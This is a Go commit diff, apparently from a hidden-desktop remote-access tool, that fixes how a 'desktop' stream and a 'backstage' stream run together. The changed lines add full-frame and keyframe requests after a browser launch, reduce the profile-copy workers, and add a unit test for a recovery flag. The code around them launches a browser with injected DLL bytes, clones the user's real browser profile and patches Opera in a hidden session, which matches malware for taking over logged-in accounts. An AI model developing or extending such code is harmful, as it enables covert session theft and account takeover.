fix multi stream

2026-07-21 16:26:24 -05:00
parent 6926522cc2
commit 12b40b1565
5 changed files with 99 additions and 17 deletions
@@ -240,6 +240,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
 			return err
 		}
 		notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
+		RequestDesktopFullFrame()
 		if info.needsPatch && pid != 0 {
 			go func() {
 				defer recoverAndLog("backstage patch opera", nil)
@@ -262,7 +263,9 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
 	}
 	notify("clone", true, fmt.Sprintf("cloning profile from %s", realUserData))

+	RequestDesktopFullFrame()
 	cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite, onProgress)
+	RequestDesktopFullFrame()
 	if err != nil {
 		notify("clone", false, fmt.Sprintf("profile clone failed: %v", err))
 		return fmt.Errorf("profile clone failed: %v", err)
@@ -298,6 +301,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
 		return err
 	}
 	notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
+	RequestDesktopFullFrame()
 	if info.needsPatch && pid != 0 {
 		go func() {
 			defer recoverAndLog("backstage patch opera", nil)
@@ -736,7 +740,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
 		os.MkdirAll(d, 0700)
 	}

-	const numWorkers = 8
+	const numWorkers = 2
 	jobCh := make(chan copyJob, 256)
 	var wg sync.WaitGroup
 	var copiedBytes atomic.Int64
@@ -496,22 +496,23 @@ var (
 	lastKeyframe   atomic.Int64
 	fullNextFrames atomic.Int64

-	statFrames          atomic.Int64
-	statCapNs           atomic.Int64
-	statEncNs           atomic.Int64
-	statSendNs          atomic.Int64
-	statTotalNs         atomic.Int64
-	statBytes           atomic.Int64
-	statDetectNs        atomic.Int64
-	statMergeNs         atomic.Int64
-	statBlkJpegNs       atomic.Int64
-	statPrevCopyNs      atomic.Int64
-	statFullFrames      atomic.Int64
-	statBlockFrames     atomic.Int64
-	statKeepaliveFrames atomic.Int64
-	statBlockRegions    atomic.Int64
-	statBlockFallbacks  atomic.Int64
-	statFrameSlotSkips  atomic.Int64
+	desktopRecoveryAfterBackstageStart atomic.Bool
+	statFrames                         atomic.Int64
+	statCapNs                          atomic.Int64
+	statEncNs                          atomic.Int64
+	statSendNs                         atomic.Int64
+	statTotalNs                        atomic.Int64
+	statBytes                          atomic.Int64
+	statDetectNs                       atomic.Int64
+	statMergeNs                        atomic.Int64
+	statBlkJpegNs                      atomic.Int64
+	statPrevCopyNs                     atomic.Int64
+	statFullFrames                     atomic.Int64
+	statBlockFrames                    atomic.Int64
+	statKeepaliveFrames                atomic.Int64
+	statBlockRegions                   atomic.Int64
+	statBlockFallbacks                 atomic.Int64
+	statFrameSlotSkips                 atomic.Int64

 	desktopOverrideQuality       atomic.Int64
 	backstageOverrideQuality     atomic.Int64
@@ -655,6 +656,19 @@ func RequestDesktopFullFrame() {
 	RequestDesktopH264Keyframe()
 }

+func RequestDesktopRecoveryAfterBackstageStart() {
+	desktopRecoveryAfterBackstageStart.Store(true)
+}
+
+func recoverDesktopAfterBackstageFrame(dataLen int) bool {
+	if dataLen == 0 || !desktopRecoveryAfterBackstageStart.Swap(false) {
+		return false
+	}
+	log.Printf("capture: backstage stream active; requesting desktop recovery frame")
+	RequestDesktopFullFrame()
+	return true
+}
+
 func SetDesktopSoftwareH264(enabled bool) {
 	if desktopSoftwareH264.Swap(enabled) == enabled {
 		return
@@ -1813,6 +1827,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
 		fps = 1
 	}
 	frame.Header.FPS = fps
+	recoverDesktopAfterBackstageFrame(len(frame.Data))

 	if ctx.Err() != nil {
 		if slotAcquired {
@@ -1863,6 +1878,7 @@ func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Fram
 		fps = 1
 	}
 	frame.Header.FPS = fps
+	recoverDesktopAfterBackstageFrame(len(frame.Data))
 	if ctx.Err() != nil {
 		return nil
 	}
@@ -1961,6 +1977,7 @@ func captureAndSendbackstage(ctx context.Context, env *rt.Env) error {
 		fps = 1
 	}
 	frame.Header.FPS = fps
+	recoverDesktopAfterBackstageFrame(len(frame.Data))

 	if ctx.Err() != nil {
 		if slotAcquired {
@@ -194,6 +194,24 @@ func TestDesktopAndBackstageH264EncodeConcurrently(t *testing.T) {
 	}
 }

+func TestBackstageFirstFrameRequestsDesktopRecoveryOnce(t *testing.T) {
+	desktopRecoveryAfterBackstageStart.Store(false)
+	t.Cleanup(func() {
+		desktopRecoveryAfterBackstageStart.Store(false)
+	})
+
+	RequestDesktopRecoveryAfterBackstageStart()
+	if recoverDesktopAfterBackstageFrame(0) {
+		t.Fatal("empty backstage frame consumed desktop recovery request")
+	}
+	if !recoverDesktopAfterBackstageFrame(1) {
+		t.Fatal("first completed backstage frame did not request desktop recovery")
+	}
+	if recoverDesktopAfterBackstageFrame(1) {
+		t.Fatal("desktop recovery request was not consumed exactly once")
+	}
+}
+
 func TestBlockCodec_UsesEnvWhenNoOverride(t *testing.T) {
 	prev := os.Getenv(blockCodecEnv)
 	if err := os.Setenv(blockCodecEnv, "raw"); err != nil {